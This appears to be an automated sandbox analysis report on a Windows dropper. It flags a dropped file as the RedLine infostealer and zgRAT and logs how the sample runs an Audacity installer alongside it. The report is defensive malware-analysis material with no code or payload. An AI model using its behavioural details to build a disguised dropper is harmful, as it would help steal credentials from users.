Source: 1.3.Installation_controller.exe.3fc3a610.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 1.3.Installation_controller.exe.3fc3a610.0.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 1.3.Installation_controller.exe.3fc3a610.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 1.3.Installation_controller.exe.3fc3a610.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen

Source: WsiysHggF9.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 1.3.Installation_controller.exe.3fc3a610.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 1.3.Installation_controller.exe.3fc3a610.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 1.3.Installation_controller.exe.3fc3a610.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 1.3.Installation_controller.exe.3fc3a610.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT

Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_00248525	0_2_00248525
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_002565B6	0_2_002565B6
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_0025702F	0_2_0025702F
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_0024404E	0_2_0024404E
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_00260146	0_2_00260146
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_0024E1E0	0_2_0024E1E0
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_0024326D	0_2_0024326D
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_0026457A	0_2_0026457A
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_0026055E	0_2_0026055E
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_00253731	0_2_00253731
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_002647A9	0_2_002647A9
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_0024E7E0	0_2_0024E7E0
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_002427D4	0_2_002427D4
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_0024F8A8	0_2_0024F8A8
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_002539AC	0_2_002539AC
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_00260993	0_2_00260993
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_002569EB	0_2_002569EB
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_0026CA20	0_2_0026CA20
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_00255BE7	0_2_00255BE7
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_0025FC4A	0_2_0025FC4A
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_0024EC54	0_2_0024EC54
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_00253CDD	0_2_00253CDD
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_0024BD53	0_2_0024BD53
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_0024DDAC	0_2_0024DDAC
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_00260DC8	0_2_00260DC8
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_0026CECE	0_2_0026CECE
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_00245F0C	0_2_00245F0C
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_00270FD4	0_2_00270FD4

Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: String function: 0025EB60 appears 31 times
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: String function: 0025E1C0 appears 52 times
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: String function: 0025E0E4 appears 35 times

Source: C:\Users\user\Desktop\WsiysHggF9.exe

Code function: 0_2_00247165: __EH_prolog,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

0_2_00247165

Source: audacity-win-3.2.0-64bit.tmp.10.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-NL931.tmp.11.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows

Source: WsiysHggF9.exe, 00000000.00000003.259542463.00000000086D6000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: OriginalFilenamePilferages.exe4 vs WsiysHggF9.exe

Source: C:\Users\user\Desktop\WsiysHggF9.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Section loaded: msvcr120_clr0400.dll	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Section loaded: msvcp120_clr0400.dll	Jump to behavior

Source: WsiysHggF9.exe

ReversingLabs: Detection: 51%

Source: C:\Users\user\Desktop\WsiysHggF9.exe

File read: C:\Users\user\Desktop\WsiysHggF9.exe

Jump to behavior

Source: WsiysHggF9.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\WsiysHggF9.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\WsiysHggF9.exe C:\Users\user\Desktop\WsiysHggF9.exe
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Process created: C:\ProgramData\Installation_controller.exe "C:\ProgramData\Installation_controller.exe"
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Process created: C:\ProgramData\audacity-win-3.2.0-64bit.exe "C:\ProgramData\audacity-win-3.2.0-64bit.exe"
Source: C:\ProgramData\audacity-win-3.2.0-64bit.exe	Process created: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp "C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp" /SL5="$5040E,13178964,955904,C:\ProgramData\audacity-win-3.2.0-64bit.exe"
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Process created: C:\Users\user\AppData\Local\Temp\is-GK43T.tmp\_isetup\_setup64.tmp helper 105 0x420
Source: C:\Users\user\AppData\Local\Temp\is-GK43T.tmp\_isetup\_setup64.tmp	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Process created: C:\Program Files\Audacity\Audacity.exe C:\Program Files\Audacity\audacity.exe
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Process created: C:\ProgramData\Installation_controller.exe "C:\ProgramData\Installation_controller.exe"	Jump to behavior
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Process created: C:\ProgramData\audacity-win-3.2.0-64bit.exe "C:\ProgramData\audacity-win-3.2.0-64bit.exe"	Jump to behavior
Source: C:\ProgramData\audacity-win-3.2.0-64bit.exe	Process created: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp "C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp" /SL5="$5040E,13178964,955904,C:\ProgramData\audacity-win-3.2.0-64bit.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Process created: C:\Users\user\AppData\Local\Temp\is-GK43T.tmp\_isetup\_setup64.tmp helper 105 0x420	Jump to behavior

Source: C:\Users\user\Desktop\WsiysHggF9.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: Audacity.lnk.11.dr	LNK file: ..\..\..\..\..\Program Files\Audacity\Audacity.exe
Source: Audacity.lnk0.11.dr	LNK file: ..\..\..\Program Files\Audacity\Audacity.exe

Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp

File created: C:\Users\user\AppData\Local\Programs

Jump to behavior

Source: C:\ProgramData\audacity-win-3.2.0-64bit.exe

File created: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp

Jump to behavior

Source: classification engine

Classification label: mal50.troj.evad.winEXE@11/410@1/0

Source: C:\Users\user\Desktop\WsiysHggF9.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: Audacity.exe, 00000010.00000002.571189245.00007FF60DFE2000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: SELECT blockid FROM sampleblocks;
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: SELECT summary64k FROM sampleblocks WHERE blockid = ?1;
Source: Audacity.exe, 00000010.00000002.571189245.00007FF60DFE2000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: SELECT ROWID FROM main.project WHERE id = 1;
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: Audacity.exe, 00000010.00000002.571189245.00007FF60DFE2000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: SELECT ROWID FROM main.autosave WHERE id = 1;
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: SELECT samples FROM sampleblocks WHERE blockid = ?1;
Source: Audacity.exe, 00000010.00000002.571189245.00007FF60DFE2000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: SELECT COUNT(1) FROM main.project;
Source: Audacity.exe, 00000010.00000002.571189245.00007FF60DFE2000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: SELECT Count(*) FROM project;
Source: Audacity.exe, 00000010.00000002.571189245.00007FF60DFE2000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: SELECT Count(*) FROM sqlite_master WHERE type='table';
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: SELECT sampleformat, summin, summax, sumrms, length(samples) FROM sampleblocks WHERE blockid = ?1;
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: INSERT INTO sampleblocks (sampleformat, summin, summax, sumrms, summary256, summary64k, samples) VALUES(?1,?2,?3,?4,?5,?6,?7);
Source: Audacity.exe, 00000010.00000002.571189245.00007FF60DFE2000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: INSERT INTO %s.%s(id, dict, doc) VALUES(1, ?1, ?2) ON CONFLICT(id) DO UPDATE SET dict = ?1, doc = ?2;
Source: Audacity.exe, 00000010.00000002.571189245.00007FF60DFE2000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: SELECT ROWID FROM %s.%s WHERE id = 1;
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: Audacity.exe, 00000010.00000002.571189245.00007FF60DFE2000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: SELECT Count(*) FROM sampleblocks;
Source: Audacity.exe, 00000010.00000002.571189245.00007FF60DFE2000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: INSERT INTO outbound.sampleblocks SELECT * FROM main.sampleblocks WHERE blockid = ?;
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: SELECT summary256 FROM sampleblocks WHERE blockid = ?1;
Source: Audacity.exe, 00000010.00000000.507856498.00007FF60DF90000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: SELECT 1 FROM project LIMIT 1;

Source: C:\Users\user\Desktop\WsiysHggF9.exe

Code function: 0_2_00246E5E GetLastError,FormatMessageW,

0_2_00246E5E

Source: C:\ProgramData\audacity-win-3.2.0-64bit.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\audacity-win-3.2.0-64bit.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3792:120:WilError_01

Source: C:\Users\user\Desktop\WsiysHggF9.exe

Code function: 0_2_00259D9A FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

0_2_00259D9A

Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp

File created: C:\Program Files\Audacity

Jump to behavior

Source: C:\Users\user\Desktop\WsiysHggF9.exe	Command line argument: q(	0_2_0025D42A
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Command line argument: sfxname	0_2_0025D42A
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Command line argument: sfxstime	0_2_0025D42A
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Command line argument: STARTDLG	0_2_0025D42A
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Command line argument: pZ)	0_2_0025D42A

Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp

File written: C:\Program Files\Audacity\FirstTime.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp

Window found: window name: TSelectLanguageForm

Jump to behavior

Source: C:\ProgramData\Installation_controller.exe	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Automated click: Install
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Automated click: Next
Source: C:\Program Files\Audacity\Audacity.exe	Automated click: OK
Source: C:\Program Files\Audacity\Audacity.exe	Automated click: OK

Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp

File opened: C:\Windows\SysWOW64\MSFTEDIT.DLL

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Audacity_is1

Jump to behavior

Source: WsiysHggF9.exe

Static file information: File size 21526435 > 1048576

Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\unins000.dat	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-NL931.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-9T84T.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-0UADG.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-P90KL.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-NTE5N.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-9JHT8.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-2SCU5.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-CV5R1.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-7U34J.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-7F1IJ.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-EPTFT.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-IU3MP.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-NKFUD.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-5OMUN.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-5LJ3G.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-JO5BM.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-SO45U.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-VGNVB.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-E63DL.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-7BF1G.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-MVD1T.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-J5UM8.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-OF8N5.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-DBS3U.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-7HBD3.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-EE795.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-6S7SN.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-V5T2O.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-9K9M7.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-UFU1R.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-DEMF3.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-JALHN.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-19I02.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-GCDE1.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-1J0J3.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-HKQ8J.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-U641C.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-KRBVG.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-R9F1C.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-VMF33.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-NOB4R.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-37ABV.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-HKD6O.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-L050V.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-GAK9A.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-UR1D7.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-3RF3V.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-EGO60.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-KJ41F.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-AG00V.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-8JNDO.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-0UDPU.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-L0CK2.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-TDP90.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-4STCS.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-H8I8G.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-UJ3RS.tmp	Jump to behavior
